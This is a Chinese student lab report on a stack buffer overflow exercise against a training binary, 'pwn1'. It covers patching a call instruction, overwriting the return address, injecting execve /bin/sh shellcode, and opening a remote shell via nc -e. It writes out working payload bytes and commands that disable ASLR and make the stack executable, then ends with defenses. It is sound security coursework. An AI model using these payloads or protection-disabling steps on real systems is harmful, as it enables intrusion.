1 逆向及Bof基础实践说明
1.1 实践目标
本次实践的对象是一个名为pwn1的linux可执行文件。
该程序正常执行流程是:main调用foo函数,foo函数会简单回显任何用户输入的字符串。
该程序同时包含另一个代码片段,getShell,会返回一个可用Shell。正常情况下这个代码是不会被运行的。我们实践的目标就是想办法运行这个代码片段。我们将学习两种方法运行这个代码片段,然后学习如何注入运行任何Shellcode。
三个实践内容如下:
手工修改可执行文件,改变程序执行流程,直接跳转到getShell函数。
利用foo函数的Bof漏洞,构造一个攻击输入字符串,覆盖返回地址,触发getShell函数。
注入一个自己制作的shellcode并运行这段shellcode。
这几种思路,基本代表现实情况中的攻击目标:
运行原本不可访问的代码片段
强行修改程序执行流
以及注入运行任意代码。
1.2基础知识
该实践需要
- 熟悉Linux基本操作,能看懂常用指令,如管道(|),输入、输出重定向(>)等。
- 理解Bof的原理,能看得懂汇编、机器指令、EIP、指令地址,会使用gdb,vi。
- 指令、参数:掌握NOP, JNE, JE, JMP, CMP汇编指令的机器码
- NOP:机器码为0x90,是空操作指令,不改变寄存器和内存状态仅消耗时钟周期,攻击中常作为“滑行区”辅助Shellcode执行;
- CMP:机器码常见0x38~0x3D、0x83等(依场景定),通过隐含减法比较两操作数,不保存结果仅修改标志位(如ZF),为后续条件跳转提供判断依据;
- JE:机器码为0x74(短跳转)、0x0F84(近跳转),是条件跳转指令,当前次比较结果相等(ZF=1)时,跳转到目标地址;
- JNE:机器码为0x75,是条件跳转指令,当前次比较结果不相等(ZF=0)时,跳转到目标地址;
- JMP:机器码常见0xEB(短跳转)、0xE9(近跳转)、0xEA(远跳转)等,是无条件跳转指令,不依赖标志位,强制跳转到指定地址以改变程序执行流。
2 直接修改程序机器指令,改变程序执行流程
-
知识要求:Call指令,EIP寄存器,指令跳转的偏移计算,补码,反汇编指令objdump,十六进制编辑工具
-
学习目标:理解可执行文件与机器指令
-
进阶:掌握ELF文件格式,掌握动态技术
下载目标文件pwn1,并修改文件名为自己的学号
利用命令objdump -d pwn20232301 | more
,进行反汇编。
一直按回车就会逐行显示更多信息,直到找到main的内容
-
可以看到,main函数调用foo函数时,对应的汇编指令为“call 8048491”(见第12行),其机器指令是“e8 d7ffffff”,其中e8表示跳转,此时EIP的正常值应为下条指令地址80484ba,而CPU执行该指令时会转而执行“EIP + d7ffffff”位置的指令,“d7ffffff”作为补码表示-41(即0x29),计算可得80484ba - 0x29正好是8048491
-
若想让其调用getShell函数,只需将“d7ffffff”修改为“getShell地址与80484ba的差值对应的补码”,通过计算47d - 4ba得到该补码为c3ffffff,之后修改可执行文件中call指令的目标地址即可。
修改可执行文件,将其中的call指令的目标地址由d7ffffff变为c3ffffff:
(再复制一份pwd1文件,更名为pwd2301,对该文件进行操作)
vi进入pwn2301,出现乱码,按Esc键,输入:%!xxd
找到e8d7
,修改d7为c3(先按i
进入编辑模式再改,改完按Esc
键退出)
输入:%!xxd -r
输入:wq
退出
对pwn2反汇编,检验是否修改正确objdump -d pwn2301 | more
运行代码将得到shell提示符
可以看到,这次修改改变了原可执行文件的功能,由重复输出字符串改为了打开命令行,执行ls文件后,成功打印了目录下的文件
3 通过构造输入参数,造成BOF攻击,改变程序执行流
3.1反汇编,了解程序的基本功能
安装gdb:
对pwn2301h文件进行反汇编,该可执行文件正常运行时是调用函数foo。这个函数有Buffer overflow漏洞:foo读入字符串,但系统只预留了28字节的缓冲区,超出部分会造成溢出,本次目标是覆盖返回地址
3.2 确认输入字符串哪几个字符会覆盖到返回地址
输入1111111122222222333333334444444455555555
发现eip的值为0x35353535,即5555的ASCII码
输入1111111122222222333333334444444412345678
eip的值为0x34333231,即1234的ASCII码
从中我们可以得出,输入改字符串时,1234会覆盖堆栈中的返回地址,CPU将会尝试运行该被覆盖的地址的位置的代码,如果将这四个字符替换为getshell的内存地址输入给pwd2301h,那么该文件就会运行getshell
3.3确认用什么值来覆盖返回地址
在反汇编时我们已经得知了getshell的内存地址为0x0804847d
同时还要确认地址写法,从前边1234对应0x34333231
可以得出是小端写法
综合以上信息,将1234处的内容替换为对应的地址,应为:
11111111222222223333333344444444\x7d\x84\x04\x08
对比之前 eip 0x34333231 0x34333231,验证了输入正确
3.4构造输入字符串
显然直接通过键盘输入16进制值是不现实的,因此先生成包括这样字符串的一个文件,其中\x0a表示回车
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
使用16进制查看指令xxd查看input文件的内容是否如预期。
然后将input的输入通过管道符作为pwn1的输入
至此攻击成功,获得了交互式的shell
4.注入shellcode并执行
4.1准备一段shellcode
- shellcode就是一段机器指令(code)
通常这段机器指令的目的是为获取一个交互式的shell(像linux的shell或类似windows下的cmd.exe),
所以这段机器指令被称为shellcode。
在实际的应用中,凡是用来注入的机器指令段都通称为shellcode,像添加一个用户、运行一条指令。
4.2准备工作
从官网下载相关的包,本地安装execstack命令
输入execstack -s pwn1329
指令来设置堆栈可执行
输入execstack -q pwn1329
指令查询文件的堆栈是否可执行
输入more /proc/sys/kernel/randomize_va_space
,检查发现randomize_va_space为2,即地址随机化保护是开启的
输入echo "0" > /proc/sys/kernel/randomize_va_space
关闭地址随机化。
输入more /proc/sys/kernel/randomize_va_space
,发现randomize_va_space为0说明地址随机化保护关闭
(为保证实验的准确性,后续新增加文件pwn2301hh做本实验)
4.3构造要注入的payload
-
Linux下有两种基本构造攻击buf的方法:
retaddr+nop+shellcode
nop+shellcode+retaddr。
因为retaddr在缓冲区的位置是固定的,shellcode要不在它前面,要不在它后面。
简单说缓冲区小就把shellcode放后边,缓冲区大就把shellcode放前边 -
我们这个buf够放这个shellcode了
-
结构为:retaddr+nop+shellcode
nop一为是了填充,二是作为“着陆区/滑行区”。
我们猜的返回地址只要落在任何一个nop上,自然会滑到我们的shellcode。
打开两个终端,都进入root模式
终端1输入
perl -e 'print "\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x4\x3\x2\x1\x00"' > input_shellcode
注入攻击buf(cat input_shellcode;cat) | ./pwn1329
,回车一次即可
终端2中进行gdb调试,输入ps -ef | grep pwn2301hh
,得到进程号166884
终端2执行到下图位置时,在终端1中按下回车,此时终端1出现乱码
终端2继续执行info r esp
得到地址0xffffd39c
继续执行观察到01020304即为返回地址的位置,shellcode在其后边,故为
0xffffd39c+4=0xffffd3a0
将计算得到的地址放进shellcode,运行代码
perl -e 'print "A" x 32;print"\xa0\xd3\xff\xff\x90\x90\x90\x90\x90\x90\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x31\xd2\xb0\x0b\xcd\x80\x90\x00\xd3\xff\xff\x00"' > input_shellcode
xxd input_shellcode
(cat input_shellcode;cat) | ./pwn2301hh
运行后发现成功获取shell,本次攻击成功
4.4结合nc模拟远程攻击
本次实验采用kail作为靶机,openEuler为攻击机,二者可以互相ping通
靶机(kali)ip:192.168.78.130
攻击机(openEuler)ip:192.168.78.129
靶机输入如下命令:
nc -lvnp 2301 -e ./pwn20232301hhhh
攻击机输入如下命令:
perl -e 'print "11111111222222223333333344444444\x7d\x84\x04\x08\x0a"' > input
(cat input; cat) | nc 192.168.78.130 2301
观察到靶机显示成功连接攻击机
在攻击机上已经可以获取靶机的shell
5.BOF防御技术
5.1. 从防止注入的角度
在编译时,编译器在每次函数调用前后都加入一定的代码,用来设置和检测堆栈上设置的特定数字,以确认是否有bof攻击发生
5.2. 注入了也不让运行
结合CPU的页面管理机制,通过DEP/NX用来将堆栈内存区设置为不可执行。这样即使是注入的shellcode到堆栈上,也执行不了
详见4.2的图
5.3增加shellcode的构造难度
shellcode需猜测返回地址位置及注入后内存位置,这极度依赖应用代码段、堆栈段每次被OS加载到固定内存地址;而ALSR(地址随机化)让OS每次用不同地址加载应用,使预先通过反汇编或调试得到的地址均失效。
/proc/sys/kernel/randomize_va_space用于控制Linux下 内存地址随机化机制(address space layout randomization),有以下三种情况
0 - 表示关闭进程地址空间随机化。
1 - 表示将mmap的基址,stack和vdso页面随机化。
2 - 表示在1的基础上增加栈(heap)的随机化。
这同样已经在4.2的图中体现
5.4 从管理的角度
加强编码质量。注意边界检测。使用最新的安全的库函数。
6.问题与解决
1.gdb时提示zsh:1:权限不够
解决方法:chmod u+x pwn2301h即可
2.无法安装execstack包
解决方法:去官网上下载相关的包并直接在本地安装
相关命令:sudo dpkg -i execstack_0.0.20131005-1.1ubuntu1_amd64.deb
7.实验总结与体会
本次实验实现的流程比较常,跟着指导书基本可以完成,有一些问题需要自己去发现并解决,例如execstack无法安装的问题等,中途出现一些错误时也难免心惊肉跳抓耳挠腮,不过经过慢慢调试解决后也积累了相关的经验。实验最重要的是通过上手实操真正理解其原理与核心。通过这次实验,我对缓冲区溢出的原理和实验方式不再只是浮于纸面上,而是有了更为深刻的理解,感受到了网络攻防技术的奇妙,可谓受益匪浅。当然,我对这些技术的理解还需进一步深入,期待后续的学习!